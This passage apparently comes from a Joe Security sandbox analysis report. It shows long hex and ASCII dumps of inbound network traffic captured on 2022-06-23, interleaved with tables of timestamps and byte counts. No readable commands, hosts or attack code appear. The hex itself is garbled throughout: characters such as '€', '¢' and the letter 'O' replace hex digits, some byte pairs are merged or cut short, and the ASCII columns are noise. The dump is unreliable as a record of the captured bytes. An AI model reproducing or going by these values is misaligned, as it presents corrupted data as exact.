Data Ascii: %K4hFc&NFt/_J~FC&NFFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7;d)me$?XFE7

;% 3pDUFE7;d)%K4hFc&NFto

Data Raw: 4b ed 46 45 37 e3 9a 3b ed d6 7b cd d6 b9 9c 39 33 c4 25 e6 fa 13 c9 8c 4b ed 46 45 37 e3 9a 3b ed d6 7b cd
d6 b9 9c 39 33 c4 25 e6 fa 13 ¢9 8¢ 4b ed 34 db 9c 68 ef f1 a3 92 f6 45 a6 de da €9 8b 78 26 2a 59 98 6f d9 03 4a 34 db
9c 68 ef f1 a3 92 f6 45 a6 de da €9 8b 78 26 2a 59 98 6f d9 03 4a 46 45 37 €3 9a 3b ed d6 7b cd d6 b9 9c 39 33 ¢4 25 e6
fa 13 ¢9 8c 4b ed 46 45 37 e3 9a 3b ed d6 d6 b4 04 46 63 1b 26 1c 86 Oe a5 71 28 83 Of ef 46 45 37 €3 9a 3b ed d6 e6 ec
2512 a2 ¢3 60 33 8c 70 fe 44 75 97 c0 b1 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8¢ b3 58 13 46 45
37 e39a3bedd6eb6ec 2512 a2 c3 6033615 7b30fclbal 17 46 45 37 e3 9a 3b ed d6 d6 b4 04 46 63 1b 26 1c 86
Oe a5 71 28 83 0f ef 34 db 9c 68 ef f1 a3 92 f6 45 a6 de da

Data Ascii: KFE7;{93%KFE7;{93%K4hEx&*Y0J4hEX&*Y0JFE7{93%KFE7;Fc&q(FE7;% 3pDUFE7;d)me$?XFE

7;% 3aMOFE7;Fc&q(4hE

Data Raw: 25 9f 09 df 17 41 8d 59 85 ab 04 73 3f f4 92 ef 17 73 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37
f2 74 2f 11 08 0 7f 9e 5b fe 5f 80 6f bd 76 c7 €5 78 d4 60 f4 84 ec 91 8a 28 23 9d 58 7d be 25 87 57 0a 25 9f 5a 8a 38 ee
da 91 0d ca 31 4e 37 f2 74 2f 1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87
57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2 f1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 2
74 2ff1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee
da 91 0d ca 31 4e 37 f2 74 2f 1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 25 €6 fa 13 c9 8¢ 4b ed 34 db 9c 68
ef f1 a3 92 d6 b4 04 46 63 1b 26 1c 84 ec 91 8a 28

Data AsCii: %AYs?s}96W%Z8INTU[_ovx (#X}%W%Z8INTH)%W%HZEINTI%WAZBINTYI%WAHZEINTY}%WAHZEIN
TUI%WAHZELNTHI%W%HZ8Y6KANFC&(

Data Raw: 60 f4 b2 2a 69 6e dd 42 55 0f 7d be 25 87 57 0a 25 9f 09 df 17 41 8d 59 85 ab 04 73 3f f4 92 ef 17 73 fO 7f 9e
5b fe 5f 80 6f Of 11 94 b8 af €2 c1 76 dO 4c 9a b2 b2 29 c3 14 7d be 25 87 57 0a 25 9f 09 df 17 41 8d 59 85 ab 74 d1 34 4b
3fag cl cc 81 ca5d 2c 74 03 96 €0 bd 76 c7 e5 78 d4 60 f4 b2 2a 69 6e dd 42 55 Of 9d 47 26 75 8f 23 54 d4 d8 66 11 a3
03 6e 3f 20 82 28 cf fd fa 57 48 96 24 cd 02 93 93 2d e5 38 91 13 d2 28 32 3f 1e dO fO 6 cf d9 fa 3b d4 2c 7d be 25 87 57
Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 25 e6 fa 13 c9
8c 4b ed 34 db 9c 68 ef f1 a3 92 d1 32 97 bf Of ee 99 78 6d 65 24 3f 8¢ b3 58 13 64 6f 45 99 0a 08 4e 79 5a 8a 38 ee da
91 0d ca 31 4e 37 f2 74 2f f1 08 fO 7f 9e 5b fe

Data Ascii: “*inBU}%W%AYs?s[_ovL)}%W%AYt4K?],tvx inBUG&uU#Tfn? (WH$-8(2?;,}9%W%Z81N7t/}9%W%Z
8%K4h2xme$?XdoENYZ8INT7t/[

Data Raw: 22 59 db 12 a9 5d 75 15 7 22 08 6e 55 f6 d6 36 8d 52 b6 d2 ff 7a 48 5f 8a 82 e2 a0 82 10 5¢ 49 bc 6 86 d8 c5
c4 9b c4 1f fd 8f 45 f3 74 58 35 73 8d 7 c9 el aa 3d b7 b1 61 c0 ea 21 5f b1 e3 Ob b4 33 6¢ f6 f4 9b 13 92 fe f4 6a 32 le
27 d7 5e f8 cf b6 c4 8b 4f ab 55 2d 90 7d 01 6f 35 59 4f el 50 53 ec el a0 4e a3 92 45 81 ae 3b e0 ab ff 1b 14 b2 9a 48
d3 a6 c7 56 Of 2e 8d d9 49 2d 17 90 e8 ef ee 11 4c 09 be ba c1 a9 92 af eb 5a cb 7d 76 fd 1f 65 33 8f 59 1d 5e Ob Oa 2c
8b 4b 6b 61 c5 7e 54 bd e4 32 5d ae 16 54 68 34 83 45 2d 4f c4 50 53 ad 62 b5 fc €8 3f d9 50 9d e5 d6 8c 98 d2 9f 71 03
c89c 74 18 c5 e8 a2 fa 55 16 ea e9 dd 6d 1f 94 6a 01 f4 55 36 00 38 6¢ 7d c4 56 ed a2 ce e2 49 f4 27 10 fb 1f 13 5a 4d
el c0f93f 7b fae7 ed ee e8 e2 e2 7b db 6f 1a 7b

Data Ascii: "Y]u"nU6RzH_\IEtX5s=a!_3Ij2'"*OU-}05YOPSNE;HV.I-LZ}ve3Y” Kka~T2]Th4E-OPSb?PqtUmjU68I}VI'ZM?{{o{
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kBytes

Timestamp transferred Direction
2022-06-23 16:20:18 UTC 1951 IN
2022-06-23 16:20:18 UTC 1959 IN
2022-06-23 16:20:18 UTC 1967 IN
2022-06-23 16:20:19 UTC 1975 IN
2022-06-23 16:20:19 UTC 1983 IN
2022-06-23 16:20:19 UTC 1990 IN
2022-06-23 16:20:19 UTC 1998 IN
2022-06-23 16:20:19 UTC 2006 IN
2022-06-23 16:20:19 UTC 2014 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 59 6¢ 05 ad 29 95 b7 47 6a e9 eb 40 Oe 57 1d d7 14 d9 c2 6e 17 1c 5a 7a 93 a8 8b fc d1 56 26 fe ae a5 e7 1c
cl a4 1a 92 b6 Oc 78 e7 bf 68 c7 99 ae 83 ee 2d 98 9e 60 ec ca 4e 14 c7 7b 97 54 67 3d c6 3 9e da 39 ee 11 2e eb 21 d8
db 99 de 89 5d ef 90 cf Oe dc a3 bb 8 76 13 71 91 31 94 34 de Ob el c2 a8 23 fb 84 74 94 47 80 83 0d fe fb 80 eb 05 23
27 61 6¢ c5 67 2c a7 48 9d bb 07 69 a3 6b f1 9f 06 19 23 4c ca 7d de d4 da 4d 13 59 5d 32 df 76 bc 8 c0 27 20 81 48 8¢
ec db 94 cb be e7 9f 06 €8 02 3b da al bd 14 1b 33 a5 b1 82 14 al 77 7a f0 8a b2 d9 23 78 b5 a0 95 10 64 c4 2e 20 c3
87 3e 7e 7b €9 45 c6 Oe 22 f4 db bb a0 72 74 57 45 fb 7c ed 49 19 dO ed 7b b7 4e 5e 13 1f be 5d 5c ef 4a 16 7d a3 d5 f4
39 eb 5b 52 58 58 9b 90 75 a0 85 4b ad b9 37 b8 31 1a 3b 64

Data Ascii: YI)Gj@WnZzV&xh-"N{Tg=9./Jvql4#tG#'alg,Hik#L}MY]2Vv' H;3wz#xd. >~{E"tWE|{N"\J}9[RXXuK71;d

Data Raw: Oa d2 58 f2 9a Oc c0 88 08 c9 bf 11 57 58 85 9f f8 df c9 b6 66 ed 99 83 69 32 2c fd 21 93 7a a4 Ob 70 f8 €9 el
8e 20 e7 4e 4f c3 5d e2 01 9a a7 41 75 81 62 8f f2 3a 54 4e 90 87 08 8b d6 50 8f d8 4b el 8e 8a €8 7d 91 f5 34 e2 20 e2
14 24 3e be f9 4c 72 8b aa 3c 28 7d 7b 3b 65 83 8d d3 07 62 26 9f c4 41 b8 14 6¢ 1f 9b 04 66 93 a3 3¢ 50 24 3c e0 39 Ob
a5 4a 09 65 ee 72 5f 35 9f 3d 8¢ b6 2d ca a9 c1 1a 21 41 3f df 6b 2e 68 47 83 94 86 14 c7 ce 18 cd Of 11 cb 15 ce 36 f7 ff
21 9b 567 20 41 94 4d 41 17 b9 88 3c af a8 02 ad ¢4 b9 4b d1 9d 4b ca c7 b9 1a 77 42 f2 fa 31 7d f5 72 f9 9a fd 68 89
4a a2 fc 36 fd 71 fc 5¢ e7 a4 1d 72 f4 5¢ 17 79 27 fc 4c a8 36 3f 51 f8 ee 59 41 92 4e 52 e7 €9 5b Oc 3c €8 45 df 7d bd 61
98 73 f3 1a f0 da b2 dc db 18 9c 69 9a 5¢c ab 14

Data Ascii: XWXfi2,!zp NOJAub:TNPK}4 $>Lr<(}{;eb&Alf<P$<9Jer_5=-!A?k.hG6!g AMA<KKwB1}rhJ6q\r\y'L67QY
ANR[<E}asi\

Data Raw: 7d e3 a2 2a b5 81 c1 1le 4a 38 d1 fb 8a dd f9 a9 79 c8 84 f8 d3 65 10 21 35 e2 26 95 52 al 8a 5f b9 92 e4 3c fa
44 e8 77 0d 20 d4 93 87 07 97 €7 86 4b 4d 17 f2 b1 34 40 ba f4 23 30 78 df 53 57 a8 84 ¢4 94 52 79 86 3a 0d b5 03 70 c9
43 ¢9 86 85 2b c5 83 a2 53 6a 0c 92 20 85 6b 4a db 59 Ob 8c 8a 1c ac b9 f3 fa eb a4 6d 69 20 97 fa db 68 bc cf fc b6 2¢
4d ad bc 68 61 a9 ac 51 38 05 91 05 26 69 d9 6¢ 26 a3 dd ac 24 bf 7b 4b 6b 4a 24 2f c3 0d 88 Oe bb b5 82 €3 10 45 €0

2d 2f 80 3b 36 21 71 05 72 99 64 d9 9b Oe 4e eb 13 57 8b 1b 34 54 €3 99 59 68 42 c7 07 b6 93 6d 2b bf ee 2e 61 83 df 48
5f 19 b0 79 e4 52 15 82 fb b1l 6a c6 22 9c 43 9a €0 8d d7 91 00 38 fb 64 65 1f 48 7f 6d 5b cd 5a d5 eb 5e b9 ea 49 b9 cd
23 a6 8562 c7 e4 54 6a a9 fe 99 1c 35 bf 9b a0 a7 7b 3e

Data Ascii: }*J8ye!5&R_<Dw KM4@#0xSWRy:pC+Sj kJYmi h,MhaQ8&il&${KkJI$/E-/;6!qrdNWATYhBm+.aH_yRj"C8deH
m[Z7I#bTj5{>

Data Raw: 43 c0 25 2f 0a 40 el 7e d0 59 21 e2 da 5d 85 7b a8 c2 66 21 61 67 79 63 e6 fd f6 1a 79 22 da bc e4 a6 8b 52
€8 04 8b ¢3 14 31 23 4d 73 2 f4 72 07 8c a0 88 40 07 3e 5 27 45 69 19 df 3f e9 8e 65 b0 1f aa 12 fb 5d 78 02 4c c4 52
d1 84 5 d6 ce 6f 3b 8b d2 6f 56 ca c7 74 13 17 d2 45 ac fe ad 38 a6 d5 2e 89 88 96 13 6¢ 1f ¢6 89 3c 9e 5a f1 33 8a 17 f2
4087 17 74 f8 3d ec dd f9 51 1b 66 9 6b ff 7f ce be 3d 98 30 32 65 67 f2 9f 3c 3f 48 ec fc ff f8 5¢c 29 e8 62 ea fc 20 ¢3 9d
2c 40 c9 44 e3 96 ea a0 c5 08 b9 f7 44 7b 65 Oa 18 e0 87 54 6a a9 fe 99 1c 35 bf e5 53 22 72 af f6 45 1f 54 6a a9 fe 99
1c 35 bf c1 f7 70 02 38 be 90 61 90 9c 84 1a 59 92 27 1b 8¢ 7f al 8b 87 c1 83 b2 65 49 a3 0f 47 9a e0 36 4f 83 00 93 8a
0f 46 al de fa 85 2a 10 dc c6 5a 98 74 19 Of 1a

Data Ascii: C%/@~Y!}{flagycy"R1#Msr@>'Ei?e]xLRo;0VtE8.I<Z3@t=Qfk=02eg<?H\)b ,@DD{eT|5S"rETj5p8aY'elG
60F*Zt

Data Raw: 41 46 fb d7 5f 0f c4 ae 46 5d ac 9e 56 c3 82 5e ef 00 ed 89 fd Oe e6 f4 3b 6¢ b6 12 41 04 53 2d 51 8a ab c8 f3
f0 6d 4c 47 72 56 62 65 4c 58 8e 91 a2 e5 15 48 c1 1f al 70 96 24 05 eb 31 3e 33 d2 70 4a el f1 e9 1b 91 6¢ c6 f4 29 7d
al 0d 1f e1 b8 97 16 c6 79 2e 3e 3¢ 83 64 1c b9 89 42 39 fd f5 9b 75 bb 59 1b 8a 1d fc 6¢ 3¢ 8b 34 d0O a6 f2 29 bf 80 1d
e4 54 db 46 63 73 72 15 49 82 3b 4f 9e 2b 22 b0 1e 9d 90 9c 9e 03 9b 38 a0 a5 Oa de 1f 77 ¢3 ¢5 67 33 78 02 6¢ Oe el
3c 8361 7d 4c 15 ad 9c¢ 60 1f 64 31 02 51 96 d6 f1 2b 38 dc ab c1 4f 14 3f 27 d9 9d f0 31 06 c5 15 bl 1c f2 e7 92 2e 07
7d e2 36 b0 60 d7 el e7 ae 52 2a 73 19 7d 8f ce 4c 37 c5 4f ef 7a 94 bd ef 94 d4 43 11 85 7b 59 4e 8e 18 f0 56 b6 87 08
41 5f 4f 8b 30 59 40 b2 3b 3d 69 9e ab 2c 92 9d 66 22 a9

Data Ascii: AF_F]V/;IAS-QmLGrVbel XHp$1>3pJl)}ly.><dB9uYI<4)TFcsrl;0+"8wg3xi<all 'd1Q+807?'1.}6'R*s}L70z
C{YNVA_OoY@;=i,f*

Data Raw: b3 93 a0 0a a0 00 92 0d 06 40 0d 8e bd 05 4c c3 84 67 59 b6 cd a5 bc 68 e3 b3 52 dc 83 38 b4 26 58 af b6 d5
4aea 1f 74 1f 99 af 44 dd 6b 16 3a 8f 4b 86 cd 5e 9d 07 c6 a2 1a 28 71 bb a0 51 ef 88 e5 f8 a0 f4 c6 44 ea e7 8d aa 24 f3
d6 73 87 77 57 86 58 d6 da b3 8d Oc 2c 4a 7c Of 1d 8¢ 66 ca 41 c8 9c f7 5f 80 02 a4 40 f8 b7 b1l 96 Oc f4 64 22 1e ee 88
56 00 4e c4 c9 5a 20 b8 a9 6b a5 42 1a 6e 8d 4f 74 60 51 eb 4e 78 be f1 20 3b 98 58 0b a8 45 75 00 a8 51 a7 bc 82 b3
09 5e 76 7d 18 d5 21 0f c6 c1 3d c2 1d b2 c5 6f 29 8a ce 6e 92 60 f9 27 ae 7f a4 30 50 74 b1 8e b5 89 43 c4 db ed 5f 95
bb 1d 98 e7 07 de f9 6f a8 50 cb ec c4 65 d9 0f c6 d9 19 9c a9 54 4d 44 b9 94 5d c9 f4 7a d1 37 bl 72 e7 db 4c Of b9 d7
le bf f1 38 d1 c2 eb ca 3e bd e7 44 7b da 00 76 66 65 e8

Data Ascii: @LgYhR8&XJtDk:KA(qQD$sWWX,J[fA_@d"VNZ kBnOt QNx ;XEuQ"v}=0)n"'0PtC_oPeTMD]z7rL8>D{vfe

Data Raw: f3 63 fb 25 4e 7d ce 5e b3 79 64 02 2¢ e4 95 8b 48 9d 12 c1 04 92 d4 89 fe 8¢ 46 4¢ 4d 31 26 18 11 4a db 7e
bf b2 21 a7 3b 6b 00 88 6e 77 b4 83 de 87 77 ea fe e8 08 51 6d 9b 23 d0 ¢9 9¢ 2d 5b Oe d5 50 be 7d f3 9d 3¢ cc f3 02 2b
0c 2f Oc 03 52 9f 84 66 3d 1 bb bc 69 ca Oc 4c 15 18 78 76 2f a9 08 a9 5d ed 7d 80 48 54 c2 1e d9 af 9e 4f €3 ee da f0 5e
ec 87 6b 9e e2 19 27 ac 70 57 83 24 94 19 ab 5¢ 0b 0d 33 9d 53 3f 78 78 42 d7 66 €8 7f 7 f5 cO d5 d3 a8 73 a9 c9 61 44
0e 69 88 f8 b7 2c c4 63 28 3b 10 7c 88 25 f4 f3 6e 7 32 4a 3e 16 59 47 60 a0 2f 9f 07 6¢ 12 82 b7 de 71 b3 20 b3 3b 98
0b 6f ca €6 47 97 12 38 32 7b 37 97 el 12 3b 6a 28 2e 4e Of ae 92 a3 da al c4 39 83 ac 73 82 c1 ef 91 05 91 05 b5 87 a4
53 8d 8d c5 43 84 23 53 ad 9f db af 76 47 a9 9f 09 69

Data Ascii: C%N}yd,HFLM1&J~!;knwwQm#-[P}<+/RI=iLxv/]JHTOK pWS\3S 2xxBfsaDi,c(;|%6n2J>Y G /lq ;0G82{7;
J(N9SSCHSVGI

Data Raw: 00 94 d5 fa 87 cf dd 50 df al c4 a5 24 55 93 30 00 90 04 28 bd c6 e0 2c fa 7a 13 ae 99 48 72 89 c8 44 f4 39
88 8f 60 dd 8a c0 7b a5 6d 38 be f5 7c 8a 7e 99 86 5f 79 07 d3 4a 07 5f b6 11 74 f6 7b 53 25 35 ff d7 2d 89 1b cc 3d 3e
60 01 24 16 39 Oa 4a 62 4b da b0 9c b3 e7 8e b2 69 3d f9 08 ed 8f 76 92 b2 22 15 69 87 af Oc b8 9a 8c 3e d1 18 14 el 1c
c6 e4 cl dd e7 42 50 7c 95 91 04 7b 5f ae 87 34 19 44 b6 e6 f9 5¢ 00 d4 67 bd 2a b6 75 d9 1f 72 c3 e7 0a 42 7d de c8 97
€2 8a 1f 29 4f 75 c9 58 c9 46 af 5d 4e 48 50 19 c3 hd f6 d6 8a c8 5b 67 e8 86 8e e7 bc d3 e4 8a 70 38 9e ed fb 76 00 47
a4 2c 32 02 95 72 4e a6 57 e4 98 2a 73 ed 24 4f 72 ¢3 9¢c b9 40 17 2f 99 79 3a 79 95 al a6 a5 a6 20 3d 4d c8 3a 3¢ 87 f5
62 62 81 06 68 96 da b8 Oe 5¢ 3e 2c 0f 62 c8 ca 36 bl a0

Data Ascii: P$UO(,zHrD9 {m8|~_yJ_t{S%5-=>"$9JbKi=v"i>BP[{_4D\g*urB})OuXF]NHP[gp8vG,2rNW*s$Or@/y:y =M:
<bbh\>,b6

Data Raw: 17 92 5a 41 1f 2e 5b 7c b9 55 74 52 fe 8f 11 91 68 69 bd 7a 2b cf f8 20 82 2¢ 44 el 26 4c 1f 85 d6 66 23 1a 90
4b 8b ef 4e d7 80 13 d4 5e b0 40 bb 4e Oc 3b 9a 73 cd a3 99 13 24 91 bd e5 79 7b 05 7e 6e 78 91 82 e2 e6 21 al 64 8e
2b 1f ba e6 e3 da 67 56 41 37 04 95 cc 05 6f f6 d0 39 34 f9 e0 3c 3d ac 48 58 1c 59 3b d1 09 8a b8 8a 3d be a4 75 f2 2f
a5 5a 9d 9e c9 cb 7e 4b 46 Oe d9 03 2¢ 33 66 72 e1 09 b1 55 33 el 35 c1 40 35 b1 64 2e fa bc 78 84 39 42 fa 41 c9 6e 49
64 c7 fc 56 05 ff 14 d2 93 ea ca 85 27 19 ce d8 6d 99 5a c2 db 71 Ob 23 d2 2e 97 f3 48 ee 6b c0 49 fe e6 30 af 02 77 97
Oc a5 1b 43 52 el e4 49 6b a4 ed 65 63 64 7 39 81 93 49 bc 65 a3 ed b3 92 b8 ba 03 e4 93 eb 48 1e c5 5e 93 a8 5¢ 53
58 61 ac b9 89 64 7d 80 b0 89 14 90 f5 5f f2 a4 6e f1 a4 ac

Data Ascii: ZA.[|UtRhiz+ ,D&LF#EKN@N;s$y{~nx!d+gVA7094<=HXY;=u/Z~KF,3frU35@5d.x9BANIdV'mZqg#.HKIOWCRI
kecd9leHMSXad} n
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Timestamp transferred Direction
2022-06-23 16:20:19 UTC 2022 IN
2022-06-23 16:20:19 UTC 2029 IN
2022-06-23 16:20:19 UTC 2037 IN
2022-06-23 16:20:19 UTC 2045 IN
2022-06-23 16:20:19 UTC 2053 IN
2022-06-23 16:20:19 UTC 2061 IN
2022-06-23 16:20:19 UTC 2069 IN
2022-06-23 16:20:19 UTC 2076 IN
2022-06-23 16:20:19 UTC 2084 IN
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Data

Data Raw: 03 13 49 33 8a 93 f9 f7 33 54 94 36 2b f4 97 fb ba 59 35 {7 ¢6 77 83 07 cf f1 c7 ad e4 b6 47 03 9f 65 d1 79 f8
c8 5e 3d 54 3f 4f 4e e7 df 5e 4c fb 32 7 56 5¢ fO Oa be 3e 58 97 dd 7d fa 56 7e 09 1a 2d a4 d5 b5 aa a0 6¢ c7 f7 2a cl 21
57 94 3552 a6 9f 09 31 56 41 da 47 63 7d ff 7c 02 18 d6 2e f1 d3 ea d5 d7 45 cb 78 4c d7 50 9d 05 b0 12 d3 bd b8 cc c2
f1 16 bd a6 5c 49 0f 55 1e 2b 53 a3 af 96 41 60 cf fd 64 c¢3 a9 32 64 db 52 37 22 13 ce a2 b5 68 d2 c7 67 3a 6a 7 04 69
bf 36 ff 63 56 1d 40 4f 74 8b 21 2f 46 c3 9b a4 4d 59 4e 42 bc ee 32 ee 7b 09 ed ab 39 d9 7e 78 88 01 3b 22 51 9¢c 93 2b
51 0d 89 3a 29 29 2f 32 3d 74 19 4e d6 6a 29 35 64 48 bc a9 91 a0 7e ce 49 d2 76 cd da 49 8b c2 fb af 19 fd 3c f7 2e 7b
2c 0b 80 bb 37 9f 66 2¢ b9 59 49 32 e3 cb b6 25 23

Data Ascii: I133T6+Y5wGey =T?0N"L2V\>X}V~-I*W5R1VAGCc}|.EXLP\IU+SA'd2dR7"hg:ji6cV@Ot//FMYNB2{9~x;"Q+Q
))/2=tNj)5dH~IVI<.{,7f, Y 12%#

Data Raw: 4e f5 Oc 6f 07 €6 75 4b 70 93 0f ae 55 46 b9 24 fe 40 dc 69 df b7 06 90 9f af 30 ed 44 35 73 55 27 96 d3 25 37
a7 d5 8e 09 e9 ce 37 7f 3c cd dc e8 85 3e 62 e6 55 a5 00 5d 57 91 74 36 €0 64 f1 70 73 fO b1 5d 39 c7 eb 49 01 93 Ob 8c
87 aa e5 62 a4 9c 2e 95 0a 71 07 6¢ 3 70 26 64 22 96 eb 12 31 4b 19 a5 77 Oc db 68 9c 55 df €6 6d 41 2e 3b 8e 11 c0 03
ch 68 b9 e3 b7 87 a0 d6 c6 52 e0 36 8f f1 9a 85 a9 4f 01 8e af 1b c8 54 aa 20 ff ab 96 67 5¢ 7c fe 4d 98 cd b1 25 cd 5¢ 8
70 e2 a4 d2 f7 20 c7 fd 97 42 3f 8f 1f 40 89 67 43 d5 82 d8 85 7d a9 04 28 60 c5 05 03 6d be d3 59 6e 67 c¢6 02 b5 f1 09
60 0b ae 37 1c 29 17 7ac3 el 98 13 94 el 78 b1 84 0d a9 af a4 2d c5 63 91 le c8 a7 1d 02 ff 93 45 c5 4c 50 89 a8 ff 29
5512 79 65 a5 2c 3f 8b 4d dc a7 05 67 f2 55 b7 53

Data Ascii: NouKpUF$@i0D5sU'%77<>bU]Wt6dps]9lb.qlp&d"1KwhUmA.;hR6OT g\|M%\p B?@gC}( mYng'7)zx-cELP)U
ye,?MgUs

Data Raw: 9¢c b3 a3 e4 89 97 Oe 69 2e 69 d1 7c 05 c7 5d a4 e4 40 eb 6b 8e 9d el 58 9d 9e a4 4f d9 4c 68 9b 31 32 13 4d
cl 0f a3 caa2 43 e4 a4 7b 27 00 4c 27 06 d5 cc 00 fb 75 3b 5e 42 af b8 c2 a2 32 ee a4 85 51 8d ff e4 15 79 ce b5 da 65
d3dc 2f 80 77 5f al 21 6f 58 d3 d6 1a 86 7f 4f 2e Ob eb 13 f4 46 6f 11 55 2 4c 1c ea 5d 3f 58 51 d8 d7 Oa fc 60 93 8c 8b
e5 33 6f ad 81 98 17 e3 7a 9d ea ab 01 ac 31 f0 81 ce 1d fa 30 ¢9 35 c4 b9 ff 77 e4 b3 55 25 e6 €9 4c 1d 54 ae 48 20 fa
49 af 19 b5 9d 21 d6 85 a3 3c 9d 04 9d d5 ef 15 c3 b4 c1 64 08 7e 70 d6 58 e3 e7 c5 05 Oc f0 47 c6 49 Oc df c6 02 a8 44
fa 52 dd 09 4c 09 83 al de 13 Oa 4c 08 3a 71 9b e3 59 37 40 b3 73 4c f1 ¢6 8¢ 5c cf 7d a8 9a c3 74 b2 38 5e 46 3c ea 90
b2 8f 53 f6 30 0d 2b 8d 6f 2f 3c 34 89 e4 c5 c6 2e e8

Data Ascii: i.i]]@kXOLh12MC{'L'u;*B2Qye/w_!0X0O.FoUL]?XQ 30z105WwU%LTH I'<d~pXGIDRLL:qY7@sL\}t8"F<S0+0/<4.

Data Raw: ad 4b 41 d7 74 89 8d 28 f6 8¢ 77 2a ff cb b1 04 4c 97 79 23 90 21 bb 72 1a 61 0d d8 9c f8 e2 44 1f 28 a1 d2 7b
5d ff f9 €3 65 8b 32 97 fb 38 e2 d1 dd 18 82 90 €3 3e 47 20 53 87 38 b0 79 86 b6 c4 d6 66 ba de a6 af 8d c4 25 93 aa 68
a4 fb db ad 88 eb 83 e8 9e 56 58 c9 7a fd 22 34 a4 8a fc 8b b3 df e3 6d 32 bd 5¢ ec 41 7a 9d 90 c0 6d 9a ce d2 Of e7 dc
8 93 89 b4 c2 ef 07 07 6a c0 64 4b 3d 7c 76 6e c1 03 fc cf 7e 95 cc 8¢ el 54 fb 37 54 d9 34 07 77 02 18 eb c1 1d Oe 24
e6 a2 c2 27 07 b2 9d 76 2c d2 Oa 7e c5 f6 Ob db 74 ab e4 2e fc d1 7a 28 92 ¢8 06 3f 71 18 b2 f8 a5 1f 14 d3 22 6a 4f af
36 49 b9 bd 42 bb 6¢ 40 a2 41 8a 3c cc 9c 8b ec ba 1d ed 2¢ 49 7b 62 e0 e5 ef 26 69 19 6e 4e 1a 4d 81 7e 14 95 b3 fd fc
d4 ad a6 ad 63 cd 9d 3b 67 fc e0 45 45 bb b6 26 b5 44

Data Ascii: KAt(w*Ly#!raD({]e28>G S8yf%hVXz"4m2\AzmjdK=|vn~T7T4w$'v,~t.z(?q"jO6IBI@A<,{b&nNNM~c;gEE&D

Data Raw: 64 f2 71 33 da 23 26 3a 9d 8b ef 5¢ d5 4d c¢3 3a 78 5f 99 18 33 70 Oc d2 Oe 68 fd d0 9b b7 25 48 ce b4 2a b7
ea 8b a6 be 78 ef dc 69 ec ce 5¢ 5f 3d 7a fc 85 47 5e 55 54 6d 03 78 8a 8e bd cd 6d 4e 4d 41 55 a2 32 da ae 9e cb a5 4b
ac a5 ac 85 07 1d b3 a0 04 bb 24 98 f3 1d 57 0d a5 ee c2 a0 02 Oa 75 1f cO cf a5 44 32 ee 75 f4 97 88 49 02 cd 4a 27 e8
ec 69 d6 e5 8a 32 37 00 7d 1e 01 79 db 5¢ ec 5b 2b 4b 5¢ 7e 92 94 22 b5 b2 a8 aa a9 2a Ob Ob 82 6e 7f 43 3d b7 1f db
a5 43 68 de 8e 3c c1 61 21 d2 02 9599 3d 97 92 13 7f 2d 6a 27 42 75 03 c9 18 11 d1 4a 52 66 02 58 af 3d 36 f1 c5 c6 5e
fe 0e d3 76 f5 2c 07 2f 82 a1 23 358b 72 17 74 Oe e8 82 74 af c6 36 7e 01 ee Oa 13 9e 1f 6d fd 3 4b 97 d9 1f 39 f2 6a 77
1798 al db 46 03 1f 2e 7d 98 1a 36 50 a5 c3 8a 9d 67 24

Data Ascii: dq3#&:\M:x_3ph%H*xi\_=zG "UTmxmNMAU2K$WuD2ulJ'i27}y\[+K\~"*nC=Ch<al=-]'BUJRfX=6"v,/#5rtt6
~mK9jwF.}6Pg$

Data Raw: 32 6e 88 ec 11 15 el 1c 41 59 3a a0 79 29 e9 9d fb 93 1d 05 58 b5 fa 42 90 20 4c b3 30 19 97 8f d7 42 51 6b
eb 2f 71 cd 1d 68 11 6f 3c 04 05 8e ec bc 3f 09 d6 c9 9a 7c ef ae 38 Oe 98 cb e6 95 0a 76 fa c3 2d e7 6f 89 23 f1 57 60 53
d9 84 ¢8 72 9b 9a f9 c3 9b b4 30 12 ec 8e ad d7 3f 4f 7b f9 65 94 5d 3e 3 60 25 Oc 8¢ 13 15 44 5a 74 e4 9 1f 62 fb dd 3c
b4 e0 11 14 76 60 23 6¢ 04 b3 58 bl 9b fe f2 fe ac el 2f 51 55 d3 32 46 b4 7b b1l a5 84 86 f5 9e 93 ff f3 c1 8b 0a 55 6d 16
91 aa c9 2d 25 d2 2c 5a aa 18 14 08 c2 bf ab b6 2e 19 db fa 24 af de 73 3b 8e 9c b4 30 63 fc €8 e6 19 d3 ee 45 ba 19 2b
b5 89 ff 7e 11 86 3d eb ad 66 db 47 98 50 30 09 f9 8a b3 79 7a 27 7b b9 12 ce 52 26 75 8c 6¢ a5 6 fe 32 7a 47 0d 92 e2
19 2d 7a 26 ac 93 88 c1 66 e7 a2 94 23 3f c8 Oa

Data Ascii: 2nAY:y)XB LOBQk/gho<?|8v-0#W' Sr0?0{e]> %DZtb<v #IX/QU2F{Um-%,Z.$s;0cE+~=fGPOyz {R&uI2zG-z&#?

Data Raw: 81 2a 45 56 ba d7 df 8¢ 98 8b e0 3f d8 67 c2 91 40 f4 93 85 7b ab 4f b7 d2 3a 62 c8 f4 68 d0 0f 07 3c 42 7c 6d
b0 11 ed el 01 4e 00 f4 dd 22 78 42 87 94 64 94 95 34 cf 52 14 1f 4f 34 9f 99 13 4f fb 4b a0 93 73 8e d6 42 31 75 b1 db
db 25 92 5d 79 01 bf 63 00 a4 45 29 86 ae 28 59 ba 32 d7 fe eb d4 c6 25 cf 00 32 53 30 88 7c 40 9a e3 72 b0 7f 9f 90 8f
42 a5 7c cc 9a ab a0 04 1f ee Oa 2f 7a el 70 e3 e0 f7 2d 1a 8d 84 d7 84 98 75 4a ec 78 e3 a9 5¢ 52 dd 00 al b4 54 a9 ed
